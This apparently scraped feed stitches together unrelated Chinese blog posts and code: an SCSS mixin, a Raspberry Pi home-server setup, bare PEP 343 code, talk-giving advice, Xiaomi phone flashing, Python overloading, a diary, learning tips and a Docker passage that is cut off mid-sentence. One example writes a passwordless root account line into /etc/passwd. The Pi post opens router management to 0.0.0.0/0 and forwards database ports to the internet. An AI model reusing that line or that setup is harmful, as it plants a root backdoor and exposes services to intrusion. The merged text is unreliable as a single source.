注意这套 mixin 借助 margin 来实现,所以建议不用在 flex box 和 flex item 上设置任何 margin,如果需要,在里面或者外面再用一层 wrapper 套起来,在 wrapper 上设置 margin。
另外还有做自适应的需求,在不同屏幕宽度下可能需要设置不同的 flex-flow,可以用下面的 mixin 清除前面的 flex gap:
// _polyfills.scss
@mixin _flex-gap-unset($row: true) {
$margin: 0;
$transform: 0;
@if $row {
margin-left: $transform;
margin-right: $transform;
} @else {
margin-top: $transform;
margin-bottom: $transform;
}
> * {
@if $row {
margin-left: $margin;
margin-right: $margin;
} @else {
margin-top: $margin;
margin-bottom: $margin;
}
}
}
// unset flex-gap, used in @media screen width rules
@mixin flex-gap-unset($flex-flow: 'row nowrap') {
@if $flex-flow== 'row nowrap' or $flex-flow== 'row-reverse nowrap' {
@include _flex-gap-unset(true);
} @else if $flex-flow== 'column nowrap' or $flex-flow== 'column-reverse nowrap' {
@include _flex-gap-unset(false);
} @else if $flex-flow== 'row wrap' or $flex-flow== 'row-reverse wrap' {
@include _flex-gap-unset(true);
@include _flex-gap-unset(false);
} @else if $flex-flow== 'column wrap' or $flex-flow== 'column-reverse wrap' {
@include _flex-gap-unset(true);
@include _flex-gap-unset(false);
} @else {
@error "The second paramater $flex-flow is set to be '#{$flex-flow}', which is illegal.";
}
}
使用:
.flex-box {
position: relative;
display: flex;
flex-flow: row nowrap;
justify-content: space-between;
align-items: center;
@include polyfills.flex-gap(12px, 'row nowrap');
@media screen and (max-width: 800px) {
flex-flow: column nowrap;
@include polyfills.flex-gap-unset('row nowrap');
@include polyfills.flex-gap(12px, 'column nowrap');
}
}
The post 基于 SCSS mixin 的 flex gap polyfill appeared first on 樱花庄的白猫.
闲置了好久的树莓派捡起来,装上官方的64位系统,连上家里的宽带做个内网穿透,当调试服务器用也是再好不过了。之前刷过一遍64位系统,不常用时间久了也就忘了密码了。正好因搬家宽带也从电信换成联通的了,干脆把网络一起重整一下。整个过程出了点小岔子,第一天晚上没完成,第二天搞定外部因素后才成功。
树莓派官网明面上提供的系统都是32位的,还有很多第三方的包也都是32位的。其实官网在去年已经发布了64位的beta版,点击这里可以去下载树莓派64位系统桌面版。烧系统就比较简单了,拔下存储卡,使用USB image tool这个工具直接烧就行了,工具简单明了就不说了,文末有下载。因为64位的系统是桌面版,配置啥的就自己点吧,没难度。
当服务器用,还是来个管理面板比较合适,毕竟敲Linux命令还得面向百度搜索。宝塔官网直接复制安装命令,看下树莓派的系统,显示是基于Debian来的,所以安装命令复制Debian的即可。输入安装命令之前,先切换一下超级用户下面,使用sudo -s命令。然后就能顺利安装宝塔了,树莓派的系统是被处理过的,装宝塔的时候安装依耐会比较多,比云服务器装起来要慢很多,耐心等待即可。
我的路由器是企业级路由器,它自带了三个外部动态域名管理服务,分别是花生壳、科迈、3322。三个我也都有账号,科迈和3322顺利登录连接。花生壳出了点小状况,因为我是很早之前系统送的gicp.net后缀的免费域名,有段时间没用了,死活连不上,就登录花生壳官网去查看发现因为实名认证没有,发现被暂停服务了,根据官方提示下载APP,在线实名认证即可。10分钟重新连接,这样我的三个动态域名就全部在线了,这样可以互为备份。
根据常用端口,把对应的端口映射到内网,但是因为被内网搭建网站管控严格,所以宽带方面80,443端口都是被禁的。所以正常情况下这两个端口要换端口映射的,这也是常规操作了,基本就是按照80端口用8880映射,443没法签发证书就没做,22端口用8022映射,其它还有mysql、redis等我基本就同等映射的,再加上FTP的21和39000-40000的同等映射,基本就齐活了。
在路由器的系统管理上面新增远程管理规则,远程管理地址范围也就不设置限制了0.0.0.0/0结束。系统管理端口,因80端口肯定不能用,所以直接把远程管理端口改为8080和4343了,原用于认证的8080端口改为8081了。
做好上述操作以后,就去试了动态域名访问,结果失败了,直接用内网IP操作,一切正常,百思不得其解。然后就去折腾下花生壳,花生壳可以直接在树莓派上装花生壳客户端,用客户端去穿透,具体地址点击这里查看。装好以后,在花生壳控制台配置应用。我就去试了一下SSH链接,发现配置好以后可以外网SSH连接了。因为之前去查了下本地的IP,有点印象本地是一个221开头的IP,但是花生壳的解析咋是一个139开头的IP,再次百思不得其小姐姐。然后又去挨个检查了一遍设置,在查到我的多口WAN时,发现路由器拿到的IP竟然是个10打头的内网IP,心里一万头草泥马狂奔。这该死的联通什么时候也玩移动的这一套给内网IP了。折腾到半夜卡在这里,半夜也没有联通客服,所以这事就搁置到第二天白天了。
第二天上班吃饭时间,打10010的客服热线,跟机器人折腾了5分钟终于和真人对话上了,告知我要公网IP,我原本还以为对方会设门槛,我把后面投诉说辞都想好了,没想到联通客服爽快的说可以更换公网IP的并且不收费。我去你的,要额外收费的话那真的是没天理。客服告知已经申请好了,10分钟后断电重启光猫即可。晚上下班回家,第一时间断电光猫,终于搞定。
最后就是利用宝塔建站点了,把三个动态域名都绑上,树莓派就可以充当内网测试服务器了。
with VAR = EXPR:
BLOCK
VAR = EXPR
VAR.__enter__()
try:
BLOCK
finally:
VAR.__exit__()
with f = open("/etc/passwd"):
BLOCK1
BLOCK2
@contextmanager
def opening(filename):
f = open(filename)
try:
yield f
finally:
f.close()
with f = opening(filename):
...read data from f...
with VAR = EXPR:
BLOCK1
with EXPR as VAR:
BLOCK1
with EXPR as VAR:
BLOCK
mgr = (EXPR)
exit = type(mgr).__exit__ # Not calling it yet
value = type(mgr).__enter__(mgr)
exc = True
try:
try:
VAR = value # Only if "as VAR" is present
BLOCK
except:
# The exceptional case is handled here
exc = False
if not exit(mgr, *sys.exc_info()):
raise
# The exception is swallowed if exit() returns true
finally:
# The normal and non-local-goto cases are handled here
if exc:
exit(mgr, None, None, None)
from __future__ import with_statement
class GeneratorContextManager(object):
def __init__(self, gen):
self.gen = gen
def __enter__(self):
try:
return self.gen.next()
except StopIteration:
raise RuntimeError("generator didn't yield")
def __exit__(self, type, value, traceback):
if type is None:
try:
self.gen.next()
except StopIteration:
return
else:
raise RuntimeError("generator didn't stop")
else:
try:
self.gen.throw(type, value, traceback)
raise RuntimeError("generator didn't stop after throw()")
except StopIteration:
return True
except:
# only re-raise if it's *not* the exception that was
# passed to throw(), because __exit__() must not raise
# an exception unless __exit__() itself failed. But
# throw() has to raise the exception to signal
# propagation, so this fixes the impedance mismatch
# between the throw() protocol and the __exit__()
# protocol.
#
if sys.exc_info()[1] is not value:
raise
def contextmanager(func):
def helper(*args, **kwds):
return GeneratorContextManager(func(*args, **kwds))
return helper
@contextmanager
def opening(filename):
f = open(filename) # IOError is untouched by GeneratorContext
try:
yield f
finally:
f.close() # Ditto for errors here (however unlikely)
with locking(myLock):
BLOCK
with myLock:
BLOCK
f = open(filename)
with f:
BLOCK1
with f:
BLOCK2
- file
- thread.LockType
- threading.Lock
- threading.RLock
- threading.Condition
- threading.Semaphore
- threading.BoundedSemaphore
@contextmanager
def locked(lock):
lock.acquire()
try:
yield
finally:
lock.release()
with locked(myLock):
# Code here executes with myLock held. The lock is
# guaranteed to be released when the block is left (even
# if via return or by an uncaught exception).
@contextmanager
def opened(filename, mode="r"):
f = open(filename, mode)
try:
yield f
finally:
f.close()
with opened("/etc/passwd") as f:
for line in f:
print line.rstrip()
@contextmanager
def transaction(db):
db.begin()
try:
yield None
except:
db.rollback()
raise
else:
db.commit()
class locked:
def __init__(self, lock):
self.lock = lock
def __enter__(self):
self.lock.acquire()
def __exit__(self, type, value, tb):
self.lock.release()
@contextmanager
def stdout_redirected(new_stdout):
save_stdout = sys.stdout
sys.stdout = new_stdout
try:
yield None
finally:
sys.stdout = save_stdout
with opened(filename, "w") as f:
with stdout_redirected(f):
print "Hello world"
@contextmanager
def opened_w_error(filename, mode="r"):
try:
f = open(filename, mode)
except IOError, err:
yield None, err
else:
try:
yield f, None
finally:
f.close()
with opened_w_error("/etc/passwd", "a") as (f, err):
if err:
print "IOError:", err
else:
f.write("guido::0:0::/:/bin/sh\n")
import signal
with signal.blocked():
# code executed without worrying about signals
import decimal
@contextmanager
def extra_precision(places=2):
c = decimal.getcontext()
saved_prec = c.prec
c.prec += places
try:
yield None
finally:
c.prec = saved_prec
def sin(x):
"Return the sine of x as measured in radians."
with extra_precision():
i, lasts, s, fact, num, sign = 1, 0, x, 1, x, 1
while s != lasts:
lasts = s
i += 2
fact *= i * (i-1)
num *= x * x
sign *= -1
s += num / fact * sign
# The "+s" rounds back to the original precision,
# so this must be outside the with-statement:
return +s
@contextmanager
def localcontext(ctx=None):
"""Set a new local decimal context for the block"""
# Default to using the current context
if ctx is None:
ctx = getcontext()
# We set the thread context to a copy of this context
# to ensure that changes within the block are kept
# local to the block.
newctx = ctx.copy()
oldctx = decimal.getcontext()
decimal.setcontext(newctx)
try:
yield newctx
finally:
# Always restore the original context
decimal.setcontext(oldctx)
from decimal import localcontext, ExtendedContext
def sin(x):
with localcontext() as ctx:
ctx.prec += 2
# Rest of sin calculation algorithm
# uses a precision 2 greater than normal
return +s # Convert result to normal precision
def sin(x):
with localcontext(ExtendedContext):
# Rest of sin calculation algorithm
# uses the Extended Context from the
# General Decimal Arithmetic Specification
return +s # Convert result to normal context
class closing(object):
def __init__(self, obj):
self.obj = obj
def __enter__(self):
return self.obj
def __exit__(self, *exc_info):
try:
close_it = self.obj.close
except AttributeError:
pass
else:
close_it()
# emulate opening():
with closing(open("argument.txt")) as contradiction:
for line in contradiction:
print line
# deterministically finalize an iterator:
with closing(iter(data_source)) as data:
for datum in data:
process(datum)
class released:
def __init__(self, lock):
self.lock = lock
def __enter__(self):
self.lock.release()
def __exit__(self, type, value, tb):
self.lock.acquire()
with my_lock:
# Operations with the lock held
with released(my_lock):
# Operations without the lock
# e.g. blocking I/O
# Lock is held again here
@contextmanager
def nested(*contexts):
exits = []
vars = []
try:
try:
for context in contexts:
exit = context.__exit__
enter = context.__enter__
vars.append(enter())
exits.append(exit)
yield vars
except:
exc = sys.exc_info()
else:
exc = (None, None, None)
finally:
while exits:
exit = exits.pop()
try:
exit(*exc)
except:
exc = sys.exc_info()
else:
exc = (None, None, None)
if exc != (None, None, None):
# sys.exc_info() may have been
# changed by one of the exit methods
# so provide explicit exception info
raise exc[0], exc[1], exc[2]
with nested(a, b, c) as (x, y, z):
# Perform operation
with a as x:
with b as y:
with c as z:
# Perform operation
分享信息并不难,大多数人都能做到,就算是不善言谈性格内向的技术人员,通过博客或社交媒体,或是不正式的交流,他们都能或多或少的做到。但是如果你想要做一个有质量有高度的分享,这个就难了,所谓的有质量和有高度,我心里面的定义有两点:1)分享内容的保鲜期是很长的,2)会被大范围的传递。我们团队内每周都在做技术分享,虽然分享的主题都很有价值,但是分享的质量参差不齐,所以,想写下这篇文章 。供大家参考。
首先,我们先扪心自问一下,我们自己觉得读到的好的技术文章是什么?我不知道大家的是什么,我个人认为的好的文章是下面这样的:
其实,从教科书,到专业书,再到论文,都有上面这些不错的特质。
所以,如果你想做一个好的技术分享的话,下面是我总结出来的方法,供你参考。
说明了这个模型就是:问题 –> 方案 –> 总结。这其中是有一定的心理学模型的,具体表现如下:
这里有几个示例,也是我在我司 MegaEase 内部的技术分享,供你参考(我个人的YouTube频道)
技术分享:Prometheus是怎么存储数据的(Youtube)
技术分享:Distributed Lock Manager(Youtube)
下面是我写在我们公司内的Knowledge Sharing中的Best Practice,供参考
Please follow the following sharing protocols
To perform a great sharing, please follow the below practices.
For example, if you want to sharing a topic about Docker. the following outlines would be good one:
- What’s the major problems need to solve. (Provision, Environment, Isolation etc.)
- The Alternative solutions. (Puppet/Chef/Ansible, VM, LXC etc.)
- The Best Solution – Docker. Why?
- Docker’s key techniques – image, cgroup, union fs, namespace…
- Docker’s Pros/Cons
- Further reading list.
(全文完)
(转载本站文章请注明作者和出处 酷 壳 – CoolShell ,请勿用于任何商业用途)
雷布斯说一代神机小米6还有215W用户在使用,作为215万分之一的钉子户,吃干榨净米6的价值当然是要奉为圭臬。啊呸,好吧我承认,我就是没钱。很久之前同事把他的米8换代到了米10,体验了一把MIUI12,一直等雷布斯说的不会落下米6的用户,眼巴巴看着MIUI12都升级到了12.5,米6的11的稳定版却再也不更新。
去年从11降级到10,一堆问题又回到了11,试用了同事的12,心里直痒痒。一直谋划着更新到12。前几天同事给了我一个米粉刷机的ROM集合站,之前一直在MIUI论坛上找ROM,没想到这个站上的ROM也都是官方的,官方没放出来的链接这里也有。看了一下竟然有米6版的MIUI12。具体链接请点击这里。昨天实在睡不着,后半夜了也不会有公司的消息打扰,所以刷机就自然安排上了。
1、备份手机资料。好吧,我从来不备份手机资料的,都是一清到底。
2、下载ROM。上面的链接打开,选择最新版的20.6.18 MIUI12 开发版(公测),下载到本地是一个zip的压缩包。
3、下载刷机工具MiFlash。上面站导航上有一个“下载小米刷机工具”的链接,打开就是MIFlash,MIFlash是小米官方出品的刷机工具。
4、下载解锁工具:小米手机分为有BL锁版本和无锁版本,米6是有锁版本,需要提前解锁BootLoader,下载地址可以参考我前一篇博文,不想看的,请直接点这里。
具体步骤在上述页面上有写,我照搬一下:1.进入“设置 -> 开发者选项 -> 设备解锁状态”中绑定账号和设备;2.手动进入Bootloader模式(关机后,同时按住开机键和音量下键);3.通过USB连接手机,点击 “解锁”按钮。啥?咋找不到开发者选项?开发者选项在设置 -> 我的设备 -> 全部参数 -> 不停的点击MIUI版本,就会提示已经打开了开发者选项。解锁过程略,我前面文章里面有图文介绍。
先将ROM解压,然后打开MIFlash,选择解压的文件夹,然后加载设备,然后点击刷机。在点击选择文件夹的时候,MIFlash就报了一个couldn't find flash script的错误,点击刷机是没有效果的。错误提示也很明显嘛,就是没找到刷机脚本。然后以为下错ROM了,又回过头去看,没下错啊,但是蓦的一下发现这泥煤的竟然是卡刷包,不是一直的线刷包。卡刷包就不是这么玩的了。
将解压出来的文件删除,下载下来的压缩包重命名为update.zip,然后通过数据线导到手机存储根目录下去。然后点击设置 -> 我的设备 -> MIUI版本 -> 右上角三个点 -> 手动选择安装包 -> 选择传到手机上的update.zip。然后gameover~
度娘一下米6刷MIUI12,要刷入TWRP,具体过程按下不表,TWRP文件在文末的附件中。刷入TWRP完成以后,选择刷入按钮,选择刷机包,然后滑动确认刷入。等待写入过程。以为很完美,结果刷机完成后,变成了无限重启。不要慌,问题不大,既然是无限重启那肯定是冲突了。再看了一眼网上的经验,要清除系统中的缓存。
再次回到TWRP主界面,点开清除按钮,点击高级清除选项,勾选Dalvik Cache,Data,Cache,System。清除完以后再次拷贝update.zip到手机上,再点刷入。等待片刻,刷入成功。网上经验说刷完系统后先别重启,把Data分区也清除掉。再店TWRP主界面,清除按钮,高级清除选项,清除内置存储,返回上一级,点击格式化Data分区。完成后重启手机。铛铛铛铛,MIUI12出现了。
上图中运存竟然是8G,米6压根就没有8G版本啊,最大的也就6G,怎么回事。说来话长,去年降级MIUI到10就是因为原4G内存太卡,逼不得已,因为我知道硬盘是可以升级的,64G升256G很容易的事,我就好奇能不能升级内存(运存),万能淘宝一搜,还真有米6换内存的。价格也不贵,200块钱,并且商家承诺没有兼容性问题。抱着死马当活马医的态度,当时下单了一家换内存的风骚订单。结果就如上图所示,就有了8G内存飞一般的小米6。
去年也是雷布斯说不能丢下MI6用户的,所以搞了个什么换电池的春风计划?49块钱去小米售后网点就能换个新电池,果断去换了个新电池,也就不用自己动手了,目前电池使用一年还算好,到明年要自己动手换电池的时候再来更新,如有需要自己换电池的可以参考笛大佬的文章:小米手机更换电池图文教程
附件:小米6一键刷入recovery工具-3.3.2B-0308-9.0.exe.7z
int area(int length, int breadth) {
return length * breadth;
}
float area(int radius) {
return 3.14 * radius * radius;
}
Python猫注:这里说 Python 不支持函数重载,指的是在不用语法糖的情况下。使用 functools 库的 singledispatch 装饰器,Python 也可以实现函数重载。原文作者在文末的注释中专门提到了这一点。
def area(radius):
return 3.14 * radius ** 2
>>> locals()
{
...
'area': <function area at 0x10476a440>,
...
}
Function
的类,它可以封装任何函数,并通过重写的__call__
方法来调用该函数,还提供了一个名为key
的方法,该方法返回一个元组,使该函数在整个代码库中是唯一的。from inspect import getfullargspec
class Function(object):
"""Function类是对标准的Python函数的封装"""
def __init__(self, fn):
self.fn = fn
def __call__(self, *args, **kwargs):
"""当像函数一样被调用时,它就会调用被封装的函数,并返回该函数的返回值"""
return self.fn(*args, **kwargs)
def key(self, args=None):
"""返回一个key,能唯一标识出一个函数(即便是被重载的)"""
# 如果不指定args,则从函数的定义中提取参数
if args is None:
args = getfullargspec(self.fn).args
return tuple([
self.fn.__module__,
self.fn.__class__,
self.fn.__name__,
len(args or []),
])
key
函数返回一个元组,该元组唯一标识了代码库中的函数,并且记录了:__call__
方法会调用被封装的函数,并返回计算的值(这没有啥特别的)。这使得Function
的实例可以像函数一样被调用,并且它的行为与被封装的函数完全一样。def area(l, b):
return l * b
>>> func = Function(area)
>>> func.key()
('__main__', <class 'function'>, 'area', 2)
>>> func(3, 4)
12
area
被封装在Function
中,并被实例化成func
。key() 返回一个元组,其第一个元素是模块名__main__
,第二个是类<class 'function'>
,第三个是函数名area
,而第四个则是该函数接收的参数数量,即 2。class Namespace(object):
"""Namespace是一个单例类,负责保存所有的函数"""
__instance = None
def __init__(self):
if self.__instance is None:
self.function_map = dict()
Namespace.__instance = self
else:
raise Exception("cannot instantiate a virtual Namespace again")
@staticmethod
def get_instance():
if Namespace.__instance is None:
Namespace()
return Namespace.__instance
def register(self, fn):
"""在虚拟的命名空间中注册函数,并返回Function类的可调用实例"""
func = Function(fn)
self.function_map[func.key()] = fn
return func
Namespace
类有一个register
方法,该方法将函数 fn 作为参数,为其创建一个唯一的键,并将函数存储在字典中,最后返回封装了 fn 的Function
的实例。这意味着 register 函数的返回值也是可调用的,并且(到目前为止)它的行为与被封装的函数 fn 完全相同。def area(l, b):
return l * b
>>> namespace = Namespace.get_instance()
>>> func = namespace.register(area)
>>> func(3, 4)
12
import time
def my_decorator(fn):
"""这是一个自定义的函数,可以装饰任何函数,并打印其执行过程的耗时"""
def wrapper_function(*args, **kwargs):
start_time = time.time()
# 调用被装饰的函数,并获取其返回值
value = fn(*args, **kwargs)
print("the function execution took:", time.time() - start_time, "seconds")
# 返回被装饰的函数的调用结果
return value
return wrapper_function
@my_decorator
def area(l, b):
return l * b
>>> area(3, 4)
the function execution took: 9.5367431640625e-07 seconds
12
overload
的装饰器,它能在虚拟命名空间中注册函数,并返回一个可调用对象。def overload(fn):
"""用于封装函数,并返回Function类的一个可调用对象"""
return Namespace.get_instance().register(fn)
overload
装饰器借助命名空间的 .register() 函数,返回 Function 的一个实例。现在,无论何时调用函数(被 overload 装饰的),它都会调用由 .register() 函数所返回的函数——Function 的一个实例,其 call 方法会在调用期间使用指定的 args 和 kwargs 执行。def get(self, fn, *args):
"""从虚拟命名空间中返回匹配到的函数,如果没找到匹配,则返回None"""
func = Function(fn)
return self.function_map.get(func.key(args=args))
def __call__(self, *args, **kwargs):
"""重写能让类的实例变可调用对象的__call__方法"""
# 依据参数,从虚拟命名空间中获取将要调用的函数
fn = Namespace.get_instance().get(self.fn, *args)
if not fn:
raise Exception("no matching function found.")
# 调用被封装的函数,并返回调用的结果
return fn(*args, **kwargs)
overload
装饰器进行装饰。@overload
def area(l, b):
return l * b
@overload
def area(r):
import math
return math.pi * r ** 2
>>> area(3, 4)
12
>>> area(7)
153.93804002589985
原作者注:从 Python 3.4 开始,Python 的 functools.singledispatch 支持函数重载。从 Python 3.8 开始,functools.singledispatchmethod 支持重载类和实例方法。感谢 Harry Percival 的指正。
getfullargspec
函数和我们的想象。使用前文的思路,你可能会实现出一个更整洁、更干净、更高效的方法,所以,请尝试实现一下吧。# 模块:overload.py
from inspect import getfullargspec
class Function(object):
"""Function is a wrap over standard python function
An instance of this Function class is also callable
just like the python function that it wrapped.
When the instance is "called" like a function it fetches
the function to be invoked from the virtual namespace and then
invokes the same.
"""
def __init__(self, fn):
self.fn = fn
def __call__(self, *args, **kwargs):
"""Overriding the __call__ function which makes the
instance callable.
"""
# fetching the function to be invoked from the virtual namespace
# through the arguments.
fn = Namespace.get_instance().get(self.fn, *args)
if not fn:
raise Exception("no matching function found.")
# invoking the wrapped function and returning the value.
return fn(*args, **kwargs)
def key(self, args=None):
"""Returns the key that will uniquely identifies
a function (even when it is overloaded).
"""
if args is None:
args = getfullargspec(self.fn).args
return tuple([
self.fn.__module__,
self.fn.__class__,
self.fn.__name__,
len(args or []),
])
class Namespace(object):
"""Namespace is the singleton class that is responsible
for holding all the functions.
"""
__instance = None
def __init__(self):
if self.__instance is None:
self.function_map = dict()
Namespace.__instance = self
else:
raise Exception("cannot instantiate Namespace again.")
@staticmethod
def get_instance():
if Namespace.__instance is None:
Namespace()
return Namespace.__instance
def register(self, fn):
"""registers the function in the virtual namespace and returns
an instance of callable Function that wraps the function fn.
"""
func = Function(fn)
specs = getfullargspec(fn)
self.function_map[func.key()] = fn
return func
def get(self, fn, *args):
"""get returns the matching function from the virtual namespace.
return None if it did not fund any matching function.
"""
func = Function(fn)
return self.function_map.get(func.key(args=args))
def overload(fn):
"""overload is the decorator that wraps the function
and returns a callable object of type Function.
"""
return Namespace.get_instance().register(fn)
from overload import overload
@overload
def area(length, breadth):
return length * breadth
@overload
def area(radius):
import math
return math.pi * radius ** 2
@overload
def area(length, breadth, height):
return 2 * (length * breadth + breadth * height + height * length)
@overload
def volume(length, breadth, height):
return length * breadth * height
@overload
def area(length, breadth, height):
return length + breadth + height
@overload
def area():
return 0
print(f"area of cuboid with dimension (4, 3, 6) is: {area(4, 3, 6)}")
print(f"area of rectangle with dimension (7, 2) is: {area(7, 2)}")
print(f"area of circle with radius 7 is: {area(7)}")
print(f"area of nothing is: {area()}")
print(f"volume of cuboid with dimension (4, 3, 6) is: {volume(4, 3, 6)}")
忙为什么不是借口?忙就是借口。断更三月,可写的东西太多,唯独代码没啥可写的,三个月撸码0行。吃饭的本事也就已经荒废的差不多了。一直被生活蹂躏的死去活来,被所谓的“忙”牵绊其身,被催更良久,索性记下这一地的鸡毛。
因年初贷款批下来了,LD再也做不了全职妈妈忍不住出去工作了,演变成娃儿上下学没得照应,所以四月份,把我妈从乡下接来同住,早晚帮我接送孩子。天下最难处的婆媳关系,在我家时隔几年再一次碰撞在同一个屋檐下。自打我妈来,头两个月都有心理准备,还算是相安无事,这第三个月开始,又一轮的鸡飞狗跳。大概我还是没学会怎么承受和卸载夹板气的本领,脑阔痛。
小家伙的英语培训第一年已经结束了,七七八八也就九个多月的时间,我原本觉得这第一年还不错,英语说的挺溜,所以第二学年算是毫不犹豫又报名一年,一万好几的票子扔出去也都没心疼,哪成想人算不如天算,这学年开始的几节课,8个单词恁是一个礼拜没记住,搞的我是哭笑不得,这大洋算是扔水里,没有泛起一丝丝波澜,看看到结束的时候会不会给我冒个泡抑或是让我听个响。
最近媳妇闹别扭,原本早上上班我适当绕点路也就顺带送她了,下班我要是没加班她等我一下我正好接她一起回家,这杠头上了,自己气呼呼出门坐公交车去了,甩给我一个不屑的身影。最后成了我自个儿晚十分钟出门,早到公司十分钟。下班又径直回家,正好做个晚饭。
很多年没有违章的我,4月底莫名收到一条违章短信,还就在自家附近,还是左转不让直行,我勒个去,这也拍,和别人心疼分不心疼钱不同,我这扣三分也就算了,可我就心疼那200块钱。还连带我4年0违章的记录被中断了。受了次惊吓,这连着两个月我在此路口坚决直行不左转,我看你拍我去。
前段时间女儿感冒,身体状态极差,坐在车上竟然吐了,吐了个稀里哗啦的,整个后座地板全是污秽,没辙,这只能去洗车店去了,向来我是老天弄脏老天洗的心态,不得不对生活妥协。找了个汽车店,店员倒是客气:哥,您这洗要额外收费的。我说没问题,来找你肯定知道要收钱。多收钱你说吧。80就行。好嘞,成交。洗完车付80准备走人,店员说等等,洗车费还没付呢,我说不是80扫码付了吗?那是洗呕吐物的,普通洗车的没付。我去,你告诉的洗车价还分内外不同啊,人才屋檐下,又得低次头,多少钱?48。我擦你们洗车要48块钱了。哥,现在人工费涨的不得了。
台州出差回来,连夜跑了四个小时的高速,回来也不知道什么时候后轮扎了两个钉子。正好第二天朋友来,开车出门,火急火燎的也没留意,凭着10年老司机的感觉,总觉得车不对。但是朋友在车上,也就没下来检查,心想着到目的地再查一下吧,没走出几百米,后面朋友的车超上来说你那后轮没气了,是不是特别费油?唉,补个气又去了前面说的修车店,这次补轮胎普通贴片要40,这死黑心的修车店,打死不去下一次了。店员硬是让我换胎,我看了一下,有橡胶屑下来,没明显折断帘子线的迹象,反正是后轮,我就说下次一起换吧,先将就用,补好店员再三嘱咐我高速要当心。
赶在去年魔都疯长和调控之前把房子买好,前脚买完后脚就涨到买不起的价位,然后就是知名的沪八条。这大概算是这辈子目前为止走的最大的狗屎运吧。等贷款交房简单装修一顿折腾,正好租的房子也快到期了,就折腾搬家。之前没娃的时候自己轿车一车就搬走了,现在,一车?呵呵!每天晚上下班自己拉两趟,足足拉了一个礼拜。最后大件还叫了一次货拉拉最后才搬完,搬完才是功成一半。另一半收拾整理差不多花了一个月才算走上正轨。这还不算买个各种桌子柜子高低床,自己组装差点没把老腰给废掉。
因为搬家,京东上的老地址没来得及删除,之前搬的过程中买的东西都还记得选择地址。等搬完了,忘了删地址,买的东西竟然寄到原地址了,等我想起来这事已经过去一个月了,还好事个小件。今天查信用卡账单,发现我积分兑的东西又因信用卡积分商城地址没改又寄到原租房的地方去了,两次两个快递还都被那下一任租客给签收了,我踏马差点一口老血喷了一地,不行今天晚上得去那边找他给要回来。上次交接的时候就知道那人油里油气,不是你的东西你拒收不得了,签收了用了心安理得?
今年工作的一大方向除了原商城系统的迭代、自行开发的erp维护,又新增了两大内容,一个是物联网项目的开发和专业ERP的整合对接工作。物联网的活是边做边学,好歹还算顺利,第一个物联网的设备投入运营半年有余,第二个项目也交付给客户了,近期会投入使用,现在手上是第三个自有工厂的设备物联网改造,之前还算好我们只要处理服务端和UI交互,这次工厂设备改造直接杀进了传感器、设备制造领域了,自有设备如果改造成功,下一步是做OEM的平台,然后串联行业内其它设备制造商,给他们进行赋能,有道是路漫漫其修远兮,太难,吾将上下而求索,不得。好在两个95后小伙伴很给力,他们远比最近接触到的某些90后实诚和靠谱。
这么多“借口”就是断更的理由,回见~
我们从小到大都在学习各种新东西,学的东西多了自然会对“如何学新东西”这一问题本身有一些方法论层面的思考,本文就来分享总结下自己的一些经验。
对于学习各种人为创造的东西基本都可以按相同的方法进行,不过对于学习自然科学的概念方法会有所不同,本文就不去讨论了。
学习一个新东西基本可以分为三个阶段:初步理解,即会用;深入理解,即懂原理;融会贯通。
这一阶段的目的是学会如何使用这个新东西,即学习如何用轮子的阶段,对于只需要应用的情况来说达到这一阶段就够了。此阶段的核心就是搞清楚三个问题:是什么(What),为什么(Why),怎么用(How),这十分类似于 3W 法则,因为这本来就是人类自然思维过程的抽象总结。
最基本的第一步,搞清楚这是一个什么东西。这一步说简单也简单,说复杂也复杂。简单在于只要随便看看介绍就会对这是什么有个初步感觉了;复杂在于要想给一个东西下一个精确的定义来描述它是什么会是极为复杂的。
要理解一个东西是什么往往伴随着理解它不是什么同步进行。
在学习新东西时一开始只需要对它是什么有个基本认识就好了,后续随着学习过程的深入自然会对此问题有越来越深入精确的认识。
搞清楚为什么要创造出这么一个东西?这个东西的作用是什么?它可以用来解决什么问题?
对于某些东西来说要搞清楚此问题并不简单,特别是一些源于数学的抽象概念和方法。
学会如何用这个东西。一些基础小东西会相对较为单纯,其使用方法也自然很简单。然而很多时候一个东西会提供若干不同功能来满足不同需求与解决不同问题,各功能都会有自己不同的使用方法。且达到同样目的也可以选择不同优劣有异的功能组合。
一般而言一个东西的复杂度很大程度上取决于其提供功能的多样性。相对比较简单纯粹的东西就只有会用和不会用两种状态,而更多复杂的东西则存在连续的中间状态。
这一步通常会是一个逐步深化、逐步探索的过程,开始只会用其最基本的功能,随着使用的深入会发掘出越来越多的使用方法及功能来。
即学习其内部实现原理,这一阶段也就是学习如何造轮子的阶段,由浅到深可以继续分为三步:
一般而言,一个相对较复杂的技术及概念都是基于一系列更基础的技术及概念组合而成的,要充分理解其实现原理就要先理解其用到的各种底层技术或概念。
实现原理与此东西的功能及使用方法是密切相关的,内部实现是为了支撑其外部功能,在不知道其功能与使用方法时是很难理解其实现原理的。
在这一点上是很容易走弯路的,就像大学的很多课程为什么会感觉无用和难学就是因为这些课程的设计不是从应用出发自顶向下而是从原理出发自底向上的。根据我个人的经验,自底向上的学习方式并不是完全不可行,然而学习过程会很痛苦和迷茫,往往也会事倍功半。从应用出发自顶向下的学习路线相对会自然很多,先会用,再去研究它是怎么工作的,这更加的符合人类认识事物的规律。
当然也不是说非要精通其使用方法后再去研究其实现原理,二者其实是一个相辅相成相互促进的关系,会用了再去研究其内部实现会自然很多;理解了其内部实现后会有助于更好的去应用。
这一阶段主要是在一个更大的框架下来思考理解这个东西,以达到融会贯通的目的。可以从两个维度来入手。
一般来说解决一个问题的方法都不止一个,因此可以进一步深入思考下这些问题:
人类发展至今基本所有东西都是渐进式发展的,没有太多东西是全新发展出来的,因此可以从时间的维度上来进行下思考:
学习Docker时一般刚开始接触的第一个docker image就是hello-world
,这个image运行起来的效果也很简单直接,仅仅是在屏幕上输出一段Docker的使用说明就结束了。这个镜像虽然简单,然而仔细分析下还是涉及不少底层机制的。
我之所以会对这个镜像感兴趣,是发现它的大小仅仅只有1.84kB,这实在是太小了,写一个printf("Hello Wolrd\n");
的程序编译出来大小就远超1.84kB了,所以很好奇这个镜像是如何构建出来的。
Docker的镜像构建过程是由其镜像描述文件Dockerfile决定的,所以就先找到其Dockerfile来看看。hello-world
用于AMD64
架构的Dockerfile可以在Github上找到,只有简单的3行:
1 | FROM scratch |
第1行导入了一个名为scratch
的东西,这并不是一个真正的image,可以把它视为是所有image的最底层虚拟镜像,类似于一个基本抽象类,Docker官方对其的说明如下:
This image is most useful in the context of building base images (such as
debian
andbusybox
) or super minimal images (that contain only a single binary and whatever it requires, such ashello-world
